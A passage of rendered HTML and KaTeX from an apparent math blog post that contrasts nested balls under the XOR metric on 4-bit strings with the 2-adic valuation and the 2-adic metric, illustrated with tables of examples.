      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo stretchy="false">(</mo><mn>0000</mn><mo separator="true">,</mo><mn>4</mn><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mn>0000</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mn>0111</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">B(0000, 4) = \{0000, \ldots, 0111\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mopen">(</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">4</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0111</span><span class="mclose">}</span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1000</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1001</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1010</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1011</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1100</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1101</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1110</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1111</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo stretchy="false">(</mo><mn>0000</mn><mo separator="true">,</mo><mn>8</mn><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mn>0000</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mn>1111</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">B(0000, 8) = \{0000, \ldots, 1111\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mopen">(</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">8</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1111</span><span class="mclose">}</span></span></span></span></td>
    </tr>
  </tbody>
</table>

<p>The cluster column closes at the last member of each ball — so you can read the table as a sequence of nested containments: each ball swallows the previous one whole, and the groups double in size at each step (1, 2, 4, 8 members).</p>

<div style="text-align: center; font-size: 50px;">⊕</div>

<p>Now forget XOR entirely.
Here’s a completely different question.
What if we defined “closeness” by <strong>shared trailing digits</strong> instead?</p>

<p>Let’s say two integers are “close” if their <em>difference</em> is divisible by a high power of 2.
That is:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center">pair</th>
      <th style="text-align: center">difference</th>
      <th style="text-align: center">highest power of 2 dividing it</th>
      <th style="text-align: center">close?</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>4</mn><mo separator="true">,</mo><mtext> </mtext><mn>12</mn></mrow><annotation encoding="application/x-tex">4,\ 12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">12</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>8</mn><mo>=</mo><msup><mn>2</mn><mn>3</mn></msup></mrow><annotation encoding="application/x-tex">8 = 2^3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup></mrow><annotation encoding="application/x-tex">2^3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span></span></span></span></td>
      <td style="text-align: center">yes</td>
    </tr>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn><mo separator="true">,</mo><mtext> </mtext><mn>7</mn></mrow><annotation encoding="application/x-tex">3,\ 7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">7</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>4</mn><mo>=</mo><msup><mn>2</mn><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">4 = 2^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">2^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span></td>
      <td style="text-align: center">yes</td>
    </tr>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo separator="true">,</mo><mtext> </mtext><mn>2</mn></mrow><annotation encoding="application/x-tex">1,\ 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup></mrow><annotation encoding="application/x-tex">2^0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></td>
      <td style="text-align: center">no</td>
    </tr>
  </tbody>
</table>

<p>In this bizarre new metric, larger powers mean smaller distances.
The key quantity is: <strong>how many times does 2 divide a number?</strong>
Let’s give it a name — the <em>2-adic valuation</em> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">v_2(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>:</p>

<span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable width="100%"><mtr><mtd width="50%"></mtd><mtd><mrow><msub><mi>v</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>trailing zeros in the binary representation of </mtext><mi>n</mi></mrow></mtd><mtd width="50%"></mtd><mtd><mtext>(3)</mtext></mtd></mtr></mtable><annotation encoding="application/x-tex">v_2(n) = \text{trailing zeros in the binary representation of } n \tag{3}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord text"><span class="mord">trailing zeros in the binary representation of </span></span><span class="mord mathnormal">n</span></span><span class="tag"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">(</span><span class="mord"><span class="mord">3</span></span><span class="mord">)</span></span></span></span></span></span>

<p>Some examples:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span></th>
      <th style="text-align: center">binary</th>
      <th style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">v_2(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>8</mn></mrow><annotation encoding="application/x-tex">8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>1000</mn><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">1000_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">100</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn></mrow><annotation encoding="application/x-tex">3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span></td>
    </tr>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>7</mn></mrow><annotation encoding="application/x-tex">7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>0111</mn><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">0111_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">011</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td>
    </tr>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>6</mn></mrow><annotation encoding="application/x-tex">6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>0110</mn><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">0110_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">011</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
    </tr>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>0101</mn><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">0101_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">010</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td>
    </tr>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td>
      <td style="text-align: center">—</td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∞</mi></mrow><annotation encoding="application/x-tex">\infty</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord">∞</span></span></span></span></td>
    </tr>
  </tbody>
</table>

<p>Now, let’s define the <strong>2-adic metric</strong> as:</p>

<span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable width="100%"><mtr><mtd width="50%"></mtd><mtd><mrow><msub><mi>d</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><msup><mn>2</mn><mrow><mo>−</mo><msub><mi>v</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo>−</mo><mi>y</mi><mo stretchy="false">)</mo></mrow></msup></mrow></mtd><mtd width="50%"></mtd><mtd><mtext>(4)</mtext></mtd></mtr></mtable><annotation encoding="application/x-tex">d_2(x, y) = 2^{-v_2(x - y)} \tag{4}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" 